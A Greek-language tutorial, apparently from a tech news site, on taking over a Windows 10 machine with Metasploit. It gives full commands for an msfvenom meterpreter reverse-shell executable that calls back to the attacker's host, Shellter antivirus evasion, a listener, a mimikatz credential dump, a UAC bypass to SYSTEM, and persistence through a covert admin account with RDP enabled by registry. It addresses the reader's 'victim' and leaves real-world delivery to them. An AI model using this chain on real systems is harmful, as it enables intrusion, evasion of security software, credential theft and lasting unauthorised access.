Επίθεση σε Windows 10 με Metasploit στο Kali Linux


Σε αυτό το άρθρο θα δούμε πως μπορούμε να πάρουμε πρόσβαση σε Windows 10 μηχάνημα με τα Kali Linux και πιο συγκεκριμένα με το Metasploit. Σχετικά με τη λειτουργεία του Metasploit έχουμε μιλήσει στο παρελθόν. Έχουμε εγκαταστήσει ήδη σε virtual machine τα Windows 10 και θα προσπαθήσουμε να πάρουμε πρόσβαση με ένα μολυσμένο .exe αρχείο.

Δημιουργία μολυσμένου αρχείου .exe

Για να δημιουργήσετε το εκτελέσιμο .exe αρχείο, ανοίξτε το τερματικό σας και πληκτρολογήστε την παρακάτω εντολή:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.100.4 LPORT=4444 -o /root/something32.exe

Θα δημιουργήσουμε λοιπόν ένα payload για Windows 10 μηχάνημα, για αρχιτεκτονική των 32-bit.

Για να λάβουμε τη διεύθυνση IP μας, χρησιμοποιούμε την εντολή ifconfig μέσα στην Kali, καθορίζοντας το interface ως eth0 (αφού είμαστε σε Ethernet):

 

Το παρακάτω στιγμιότυπο οθόνης δείχνει τα αποτελέσματα της εντολής για την επιτυχημένη δημιουργία του αρχείου .exe:

 

Επόμενο βήμα είναι να κάνουμε το εκτελέσιμο αρχείο .exe που φτιάξαμε, μη ανιχνεύσιμο από προγράμματα ασφαλείας.

Κάνοντας το εκτελέσιμο αρχείο FUD

Για να κάνουμε το αρχείο μας μη ανιχνεύσιμο, θα χρησιμοποιούμε το Shellter . Το Shellter με απλά λόγια αλλάζει τις υπογραφές του εκτελέσιμου αρχείου από ένα κακόβουλο σε ένα εντελώς νέο και μοναδικό αρχείο που μπορεί να παρακάμψει τον εντοπισμό του από τα Antivirus.

Στο Kali Linux, κατεβάστε το Shellter με την παρακάτω εντολή:

sudo apt-get install shellter

Για να τρέξετε το Shellter, απλώς πληκτρολογήστε shellter στο τερματικό σας.

Θα σας ζητηθεί να εισαγάγετε την διαδρομή προς το εκτελέσιμο αρχείο για να το κάνετε FUD. Βεβαιωθείτε ότι έχετε επιλέξει τη λειτουργία “Auto”, όπως φαίνεται παρακάτω.

 

Στη συνέχεια, το Shellter θα πραγματοποιήσει ορισμένους ελέγχους και θα σας ζητήσει εάν θέλετε να εκτελέσετε τη λειτουργία stealth. Επιλέξτε “Y” για ναι.

 

Το επόμενο μήνυμα που θα εμφανιστεί, θα σας ζητήσει να εισαγάγετε το payload και εδώ θα βάλουμε το αρχείο που φτιάξαμε στην αρχή με το Msfvenom. Θα πρέπει να επιλέξετε μια λίστα, πληκτρολογώντας “L” εκτός εάν θέλετε να προχωρήσετε με το δικό σας προσαρμοσμένο payload. Επιλέξτε το payload που θα χρησιμοποιήσετε. Χρειαζόμαστε τώρα ένα Meterpreter_Reverse_TCP, οπότε θα πρέπει να ακολουθήσουμε την επιλογή “1”

 

Πληκτρολογήστε LHOST και LPORT και πατήστε Enter. Το Shellter θα ολοκληρώσει τη διαδικασία και θα σας ζητήσει να πατήσετε Enter.

 

Σε αυτό το σημείο, το αρχείο μας έχει γίνει μη ανιχνεύσιμο από όλα τα antivirus και λοιπά προγράμματα ασφαλείας.

Θα μπορούσατε να αγοράσετε έναν δικό σας crypter που αναβαθμίζεται συνεχώς και παραμένει μη ανιχνεύσιμο σε βάθος χρόνου. Το Shellter θα κρατήσει κρυφό το αρχείο σας για κάποιο χρονικό διάστημα αλλά κάποια στιγμή θα προστεθεί στις λίστες των προγραμμάτων και θα εντοπιστεί από τα antivirus.

Τώρα πρέπει να δημιουργήσουμε έναν listener στη θύρα που καθορίσαμε μέσα στο εκτελέσιμο αρχείο. Αυτό το κάνουμε με το Metasploit, χρησιμοποιώντας την εντολή msfconsole στο τερματικό Kali Linux.

Το παρακάτω στιγμιότυπο οθόνης δείχνει ποιες εντολές θα χρησιμοποιήσουμε στο Metasploit. Πρώτον, θα πούμε στο Metasploit να χρησιμοποιήσει τον γενικό payload handler “multi/handler” χρησιμοποιώντας την εντολή use multi/handler. Στη συνέχεια, θα ρυθμίσουμε το payload ώστε να ταιριάζει με αυτό που βρίσκεται εντός του εκτελέσιμου αρχείου, χρησιμοποιώντας ένα σύνολο από εντολές payload windows/meterpreter/reverse_tcp. Στη συνέχεια θα ρυθμίσουμε το LHOST και το LPORT με τον τρόπο ώστε να ορίσουμε το LHOST 192.168.100.4 και το LPORT 4444. Όταν τελειώσετε, πληκτρολογήστε “run” ή “exploit” και πατήστε Enter.

Άν όλα πάνε καλά, θα σας εμφανιστεί το παρακάτω στιγμιότυπο. Το reverse TCP handler θα πρέπει να περιμένει μια σύνδεση.

 

Το επόμενο βήμα είναι να τρέξετε από Windows, το εκτελέσιμο αρχείο. Το πως θα το σερβίρετε σε μια πραγματική επίθεση στο θύμα σας είναι δικό σας πρόβλημα και κάτι που δεν θα αναλύσουμε τώρα γιατί το έχουμε κάνει ήδη στο παρελθόν…

Εκτέλεση του Payload

Μεταφέρουμε λοιπόν το αρχείο μας στα Windows και το τρέχουμε.

 

Το αρχείο μας προκαλεί στην παρούσα φάση την εκτέλεση του payload και δημιουργεί μια σύνδεση στο μηχάνημα επίθεσής μας (Kali Linux). Αμέσως, λαμβάνουμε μια συνεδρία Meterpreter στο Kali Linux. Αυτό αποδεικνύεται από το μήνυμα Meterpreter> όπως φαίνεται παρακάτω:

 

Δεδομένου ότι το αρχείο δεν εκτελέστηκε σαν “administrator”, υπάρχουν εντολές Meterpreter που δεν μπορούν να εκτελεστούν καθώς θα οδηγούσαν σε μια απάντηση “access denied”. Αυτό μπορεί να επιβεβαιωθεί τρέχοντας την εντολή getuid, η οποία μας λέει ότι το τρέχουμε σαν χρήστης l3s7r0z.

 

Για να αποδείξουμε ότι ο χρήστης δεν έχει αρκετά προνόμια, προσπαθήσαμε να τρέξουμε την εντολή mimikatz_command -f sekurlsa::logonPasswords.

Το αποτέλεσμα είναι ένα μήνυμα “Access is denied”, όπως φαίνεται παρακάτω:

 

Για να αποκτήσουμε επαρκή δικαιώματα, πρέπει να πραγματοποιήσουμε παράκαμψη στο UAC. Στο επόμενο βήμα, θα δούμε πώς μπορεί να γίνει αυτό.

Privilege escalation

Το privilege escalation μας επιτρέπει να αυξήσουμε τα προνόμια ή δικαιώματα (αν προτιμάτε) από ένα λιγότερο προνομιούχο χρήστη (l3s7r0z) σε έναν πιο προνομιούχο, κατά προτίμηση τον χρήστη SYSTEM, ο οποίος έχει όλα τα δικαιώματα του διαχειριστή.

Το Metasploit από προεπιλογή μας παρέχει μερικές μεθόδους που μας επιτρέπουν να αυξήσουμε τα προνόμιά μας. Στη γραμμή εντολών του Meterpreter, χρησιμοποιούμε την εντολή getsystem, όπως φαίνεται παρακάτω:

 

Δεδομένου ότι όλες οι μέθοδοι που χρησιμοποιούνται από το getsystem αποτυγχάνουν, χρειαζόμαστε μια εναλλακτική μέθοδο για την αύξηση των προνομίων μας.

Θα χρησιμοποιήσουμε το comhijack exploit module για να παρακάμψουμε τον έλεγχο πρόσβασης του χρήστη.

Για να το κάνουμε αυτό, Αφήνουμε στο «background» τη Meterpreter συνεδρία  μας, αλλάζουμε το exploit μας από multi/handler σε windows/local /bypassuac_comhijack και εφαρμόζουμε αυτό στη συνεδρία που έχουμε στο παρασκήνιο, χρησιμοποιώντας το set SESSION 2.

 

 

Στη συνέχεια, ορίσαμε το payload μας σε windows/x64/meterpreter/reverse_tcp, το LPORT και το LHOST. Στη συνέχεια εκτελούμε το exploit μας.

 

Λάβαμε με επιτυχία μια συνεδρία Meterpreter. Μπορούμε να πληκτρολογήσουμε “sysinfo” για να δούμε πληροφορίες σχετικά με τον στόχο μας. Το getuid μας δείχνει ότι λειτουργούμε ως χρήστης l3s7r0z στα Windows 10, αλλά μπορούμε να αναβαθμιστούμε σε χρήστης SYSTEM εκτελώντας το “getsystem”.

Μπορούμε να δούμε ότι η αλλαγή μας ήταν επιτυχής και μπορούμε να το επιβεβαιώσουμε εκτελώντας ξανά την εντολή “getuid”. Μπορούμε να δούμε ότι είμαστε τώρα NT AUTHORITYSYSTEM.

 

Σε αυτό το σημείο έχουμε την πλήρη πρόσβαση στα windows, μπορούμε να λάβουμε ότι στοιχεία θέλουμε, όπως κωδικούς πρόσβασης, διάφορα αρχεία που μας ενδιαφέρουν κ.λ.π.

Persistence

Τώρα θα δούμε πως θα διατηρήσουμε την πρόσβαση που έχουμε στο θύμα μας ακόμα και όταν ο στόχος αποφασίσει να διορθώσει την ευπάθεια.

Θα το επιτύχουμε με την ενεργοποίηση του RDP. Με απλά λόγια θα έχουμε τον δικό μας λογαριασμό εντός του στόχου και θα ενεργοποιήσουμε το RDP έτσι ώστε όποτε θέλουμε, να μπορούμε να συνδεθούμε στο μηχάνημα και να αποκτήσουμε πρόσβαση στις πληροφορίες που θέλουμε.

Στη Meterpreter συνεδρία, ανοίγουμε το command shell για να ανεβάσουμε ένα Windows shell στον στόχο μας (Windows 10).

 

Στη γραμμή C: WINDOWSsystem32>, δίνουμε την εντολή net users. Αυτό απαριθμεί όλους τους χρήστες των windows. Όπως μπορούμε να δούμε, υπάρχουν μόνο δύο χρήστες, ο Διαχειριστής και ο χρήστης l3s7r0z.

Προσθέτουμε έναν νέο χρήστη Jaime και του δίνουμε τον κωδικό πρόσβασης Bru73f0rc3_

Η εντολή που χρησιμοποιήθηκε για να γίνει αυτό είναι:

net user /add jaime Bru73f0rc3_

Στη συνέχεια προσθέτουμε τον Jaime στην ομάδα των διαχειριστών, έτσι ώστε ο λογαριασμός να μπορεί να εκτελεί λειτουργίες διαχειριστή. Η εντολή που χρησιμοποιούμε είναι:

net localgroup administrators jaime /add

Στη συνέχεια τον προσθέτουμε στην ομάδα RDP. Αυτό θα μας επιτρέψει να συνδεθούμε μέσω RDP στο μηχάνημα, ακόμα και αφού έχει διορθωθεί η ευπάθεια από προγράμματα προστασίας από ιούς.

Η εντολή που χρησιμοποιούμε είναι:

net localgroup “Remote Desktop Users” jaime /add

Αφού ολοκληρωθεί η ρύθμιση για τον χρήστη Jaime, μπορούμε να χρησιμοποιήσουμε την ακόλουθη εντολή για να δούμε τις ιδιότητες του χρήστη:

net user jaime

Το παρακάτω στιγμιότυπο δείχνει τα αποτελέσματα της εντολής.

 

Σε ορισμένες περιπτώσεις, το RDP δεν είναι ενεργοποιημένο στο μηχάνημα του θύματος. Όσο βρισκόμαστε μέσα στο shell, μπορούμε να το ενεργοποιήσουμε προσθέτοντας ένα κλειδί μητρώου.

Για να ενεργοποιήσετε το RDP, χρησιμοποιήστε την ακόλουθη εντολή:

reg add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Εάν θέλετε να απενεργοποιήσετε το RDP για οποιονδήποτε σκοπό, μπορείτε να το κάνετε πληκτρολογώντας την ακόλουθη εντολή:

reg add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f

Το αποτέλεσμα της λειτουργίας φαίνεται παρακάτω:

 

Από το Kali Linux, μπορούμε να χρησιμοποιήσουμε τον client απομακρυσμένης σύνδεσης remmina. Εάν δεν είναι εγκατεστημένο στο Kali, μπορείτε να το εγκαταστήσετε πληκτρολογώντας την ακόλουθη εντολή:

apt-get install remmina

Ξεκινήστε το remmina πληκτρολογώντας remmina στη γραμμή εντολών και συνδεθείτε στον στόχο χρησιμοποιώντας τη διεύθυνση IP του.

 

Θα σας ζητηθεί να αποδεχτείτε ένα πιστοποιητικό. Κάντε το και χρησιμοποιήστε το όνομα χρήστη και τον κωδικό πρόσβασης που χρησιμοποιήσατε για την εγγραφή του λογαριασμού Jaime. Αυτό είναι:

Όνομα χρήστη: jaime

Κωδικός πρόσβασης: Bru73f0rc3_

Από προεπιλογή στα Windows 10, θα απαιτείται ο συνδεδεμένος χρήστης που χρησιμοποιεί τα Windows 10 για να σας επιτρέψει να συνδεθείτε. Ωστόσο, εάν δεν απαντήσουν εντός 30 δευτερολέπτων, αποσυνδέονται αυτόματα.

 

 


Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news